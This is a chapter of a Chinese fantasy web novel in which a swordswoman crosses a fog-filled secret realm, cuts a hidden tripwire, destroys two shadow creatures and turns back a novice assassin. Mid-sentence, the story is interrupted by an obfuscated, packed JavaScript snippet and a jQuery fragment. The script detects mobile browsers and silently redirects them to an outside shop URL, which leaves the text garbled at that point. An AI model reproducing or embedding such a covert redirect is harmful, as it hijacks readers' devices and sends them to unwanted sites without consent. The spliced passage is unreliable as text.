整片灰白秘境如同一方被遗忘在时光尽头的巨大古碑,放眼望去没有山石树木,四处全是浓得化不开的白雾。
雾气厚重粘稠,像无数层纱叠在一起,视线穿不过三尺远便被尽数吞没。
嗡——
风从雾里穿过来时带着低沉的震响,像是从极远的地底传来的回响,震得人耳膜微微发麻。
普通人走进来不出片刻就分不清东西南北,彻底困死在此地。
没有太阳,没有影子,脚下的灰白地面像一块无边无际的磨得光滑的石板,连方向感都会被逐渐磨钝。
鹿挽叶袖中那块白骨掌骨持续稳定发热,像一枚精准无比的罗盘,牢牢锁死前方唯一一条路。
那热度恒定不变,隔着薄薄衣料传来温润温热的搏动,如同掌骨之下仍有一颗不肯停止跳动的心,源源不断生出微弱牵引力,推着她朝秘境纵深前行。
咚——咚——
牵引力并不猛烈,却持续而坚决,像一根看不见的丝线系在她骨头上,一寸一寸往深处拉。
脚下的灰白地表踩上去硬实干涩,鞋底碾动表层细碎颗粒时发出细微声响,像碾碎一层薄薄的枯骨。
地表之下似乎还藏着什么别的东西,偶尔一脚踩下去,脚感会比周围软上半分,像是下面有被压实的人形凹陷。
她低头盯着脚下那道笔直规整的脚印,眼神冷了几分。
白雾有吞噬痕迹的特性,但凡踩过的地面很快就会恢复平整,每一道足迹都活不过几息便被灰白雾层吞没掩埋。
可唯独这一路向前的印记自始至终不曾消散,如同一道被人刻意凿在古碑表面的铭文,刺目地横在脚下。
这条路的走向太过精确,分毫不差地指着秘境深处某一点,像是有一双手在她踏入之前就已经画好了一条线,只等她踩上去。
每一步踏下去,印记都会在原地停留片刻,灰白的雾层像是被什么力量压住,迟迟无法合拢,直到她走出数步远的距离才开始缓慢蠕动填埋。
“带路的人是谁?不敢出来见见吗?”
鹿挽叶停住脚步,偏过头扫了一眼身后被雾吞了一半的来路,嗓音冷淡开口。
雾里没有回应,可她分明感觉到那道无形无质的视线在她说出这句话时微微僵了一瞬。
从踏入此地的第一刻起,那道视线便死死钉在她后颈肌肤之上,细如蚕丝,存在感却挥之不去。
她前行,视线便紧随;她驻足,视线亦同步凝滞。
像是被什么东西锁住了命门,走到哪里都甩不脱。
鹿挽叶抬手拢了拢后领,那道视线在她动作的瞬间缩了一下,随即又固执地重新粘回来。
她能感觉到那目光里有种近乎贪婪的专注,像是盯着猎物看了太久,已经挪不开眼了。
窸窣
雾气深处传来一声极轻的布料摩擦声,暗处的人慌忙收敛气息,连呼吸都压得极低。
那声响短促得几乎和风混在一起,可鹿挽叶还是听见了——粗糙的棉布蹭过什么硬物的动静,位置偏左,大约在二十步外的雾层后面。
鹿挽叶没有回头,抬起步子继续往前踏。
脚下地面的质感突然大变。
原本干涩硬实的平整硬土消失,取而代之的是一片布满深浅交错沟槽的地面,如同古碑表面被人反复凿刻的铭文残痕。
沟槽纵横交错,有的深可没指,有的浅如划痕,边缘处层层叠叠的磨损痕迹像是被反复拖拽过无数次。
有些沟槽的走向并不规则,像是被什么重物从一端拖向另一端时留下的,表面还残留着细微的指甲抓挠纹路。
密密麻麻全是扭曲杂乱的脚印,印记深浅不一,有的只残留前掌半截纹路,有的单单余下脚后跟凹陷。
每一道痕迹都刻满挣扎——跌倒、匍匐爬起、再度重重摔落。
有人曾在这里求生,没能走出去。
鹿挽叶屈膝蹲下身,指尖贴着沟槽凹凸不平的内壁来回蹭了一圈。
刺骨寒凉直冲指腹肌理,边缘锐利扎手,触感像冷硬金属,磨痕全是新鲜的,绝不是长年累月自然风化的痕迹。
沟槽底部还有一道更深更窄的划痕,像是利器拖过时留下的,呈断续的锯齿状,不像是挣扎时无意识磨出来的,更像是刻意刻下的某种标记。
她顺着划痕的方向往前推了几寸,发现它指向正前方,像是给后来人指路用的。
她捻起一层沉积在沟槽底部的黑灰,粉尘细腻干燥,落在指腹上沉甸甸的,比普通炭末厚重数倍。
指尖凑到鼻尖,焦煳味混着淡淡的血腥铁锈直冲鼻腔。
“用人骨烧的。”
她把指尖举到眼前端详,脸上没什么表情。
“好大的手笔。”
指腹上残存的余灰在袖口内侧随意一抹,她直起身重新迈步。
脚下踩着沟槽边缘时,干裂的薄壳被压碎,发出细小的脆裂声,像踩碎一层干透的泥皮。
刚走出十余步,脚踝猛地被一股韧劲十足的东西死死勒紧。
突如其来的拉力扯得她身形往前一晃,鹿挽叶瞳仁骤缩,立刻沉腰扎稳马步,鞋底擦着地面滑出半寸,堪堪稳住重心。
右手瞬间扣住刀柄,拇指抵住护手,周身杀气骤然散开。
垂首细看,数根半透明的纤细韧丝缠满小腿至脚踝,细如发丝,韧性却远超寻常山间蛛丝,缠绕两圈,牢牢锁死下肢活动空间。
丝线表层泛着珠母贝似的细碎虹光,在灰白雾气的映照下显得格外扎眼。
“啧。”
她眉梢动了一下,像是在嫌弃什么烦人的东西。
再度蹲下身,单手攥住丝线外露的一端发力向外拉扯。
绷紧到极致的韧丝应声断裂,清脆一声响,断口平整光滑,边缘没有一丝毛絮——提前用利刃裁好的,藏在灰白地面与空气的交界缝隙里,专等途经之人一脚踩上去。
能在这里设下如此工整的绊索,下手之人要么熟悉地形,要么在这片秘境里耗费了不少时日反复布置。
丝线埋设的角度刁钻,恰好卡在视线的死角,若非脚踝被缠住那一下,鹿挽叶甚至没能提前察觉。
她用指尖掐住剩余缠在腿上的半截断线,一圈一圈缓缓解下,垂眸审视片刻,半透明质地,非金非玉,捏在手里冰凉光滑。
断线在指间捻动两下,指尖松开,落在灰白地表,下一瞬便被合拢的雾层吞没。
她抬眸扫向前方,视线在看似平整的灰白地面上逐一逡巡,从脚下一直推到视野尽头,看不出下一处陷阱藏在哪个方位。
灰白地面光洁平整,像是被什么人精心抹过一层灰泥,把所有痕迹都掩在了下面。
等了两息,暗处依旧死寂无声。
“没完了是吧。”
她收回目光,脚步比之前更慢了些,每走一步之前先用脚尖轻点地面探虚实。
约莫一盏茶的功夫,前方灰白地面之上突然毫无征兆地拱起两道厚重黑影,如同古碑表面剥离而下的两片墨色碑文,自地底翻涌升腾。
地面没有裂开,没有明显声响,脚下却传来一阵极低沉的回震,顺着脚底传遍全身,震得骨缝发麻。
黑影浮出地面的过程缓慢而无声,像墨汁从水底缓缓上涌,直到完全脱离地面才停住,稳稳地立在那里。
两道黑影颜色比周遭浓雾深沉数倍,人形轮廓清晰完整,直直横在路中间,完完整整堵死整条前行通路。
鹿挽叶脚步半点没停,指尖悬在刀柄上方半寸。
第一道黑影在她逼近至三尺范围的瞬间,躯体骤然向内涌动暗力,轮廓急速膨胀炸开,一团裹挟着腐朽潮腥气息的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950792|214164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑雾张开巨口扑压而来。
腥风扑面,带着一股陈年腐土的味道,像是从地下数丈深处翻出来的东西。
鹿挽叶气息一沉,手腕翻转,长刀自鞘中旋出半圈,寒光一闪,刀尖笔直送出,精准捅进黑影核心。
“灭。”
黑影如同燃尽的柴火,当场碎作漫天细碎黑灰簌簌落在地上。
整套动作从拔刀到刺穿不过一息。
第二道黑影抓住她刀势未收的空档,自侧面迅猛突袭,刺骨寒气擦过衣料,布料表面凝出一层薄薄白霜。
鹿挽叶眼皮都没抬,持刀手腕向上一挑,刀锋直接将黑雾从中间剖开。
两半虚影分别朝左右坍塌沉降,如同一匹被从中撕开的墨色布匹,转瞬碎成细微粉末消散无踪。
她收刀归鞘,低头扫了一眼满地黑灰,什么也没说。
长刀归鞘的刹那,手背上结痂的旧伤口骤然撕裂,凝固的血痂裂开缝隙,鲜血顺着伤口纹路缓缓滑落。
血珠浸透刀柄缠绕的粗麻绳,在深色布料晕开一小块暗沉湿痕。
旧伤是前几日留下,本快要愈合,这两记劈刺力道过猛,伤口如同再度被生生划开,血顺着指缝往下滴,两滴落在灰白地面,转瞬被雾层吞噬干净。
鹿挽叶垂眸瞥了眼渗血的手背,指尖蹭过伤口沾了满手猩红,随手在刀绳一抹,脚步未曾停顿半分。
又前行一段路程,身后飘来断断续续、轻得几乎融进秘境死寂里的脚步声。
像枯叶摩擦砂石,不仔细分辨,极易混在风声里忽略。
脚步声越靠越近,中途又陡然顿住,像是来人内心反复犹豫。
步幅短促,落脚轻重不均,呼吸节奏紊乱急促。
脚步停下的几息之间,喘息声反倒愈发浓重粗重,仿佛胸腔堵着重物,喘不过气。
鹿挽叶没有回头,脚下刻意放缓半步,刚好留出可供对方近身出手的空隙。
身后脚步声迟疑片刻,再度贴近,距离拉近至身后两尺。
一柄短匕骤然从她右后方斜刺而来,目标直指捆绑刀鞘的系带,意图限制她拔刀的动作。
匕首破空的力道绵软,可准头格外刁钻,专挑她转身不便的空隙突袭。
鹿挽叶身形轻巧向侧边偏开半寸,匕首擦着衣料边缘落空,刃尖划开一道细长裂口。
持匕之人发力过猛,踉跄半步才勉强站稳,随即横起短匕拦在道路正中。
兜帽压得极低,整张面孔埋在浓重阴影中,只露出一截不停颤抖的苍白下颌。
一双手纤细单薄,指腹没有半点习武磨出的厚茧,是全然生涩的新手。
因过度用力攥紧匕首,指节泛白,整条手臂不受控制震颤,刀尖在空中划出细碎晃动的圆弧。
这样一双手不该握兵器,该执笔墨,或是绣花针。
虎口处连一层薄茧都不存在,稍一受力便会发软。
“第一次?”
鹿挽叶扫过那柄晃个不停的匕首。
那人一言不发,呼吸却愈发混乱。
胸膛剧烈起伏,如同笼中慌乱冲撞的飞鸟,无处挣脱。
鹿挽叶向前踏出一步,靴底砸在灰白地面,闷响一声。
那人慌忙后退半步,短匕举得更高,手臂绷得僵直。
鹿挽叶再度逼近,反倒松开搭在刀柄上的手,垂落身侧。
“让开。”
对方手腕剧烈抖动,僵持数息,终于僵硬向旁挪出一道狭窄缝隙。
挪步时脚下踉跄,匕首险些脱手,最后一刻才死死攥住,刃尖晃出数道残影。
鹿挽叶擦着对方身侧走过,偏头落下一句冷硬话语。
“刀都拿不稳,也敢拦路。”
身后慌乱急促的喘息声,没走出多远,便被厚重白雾彻底吞没,再无半点动静。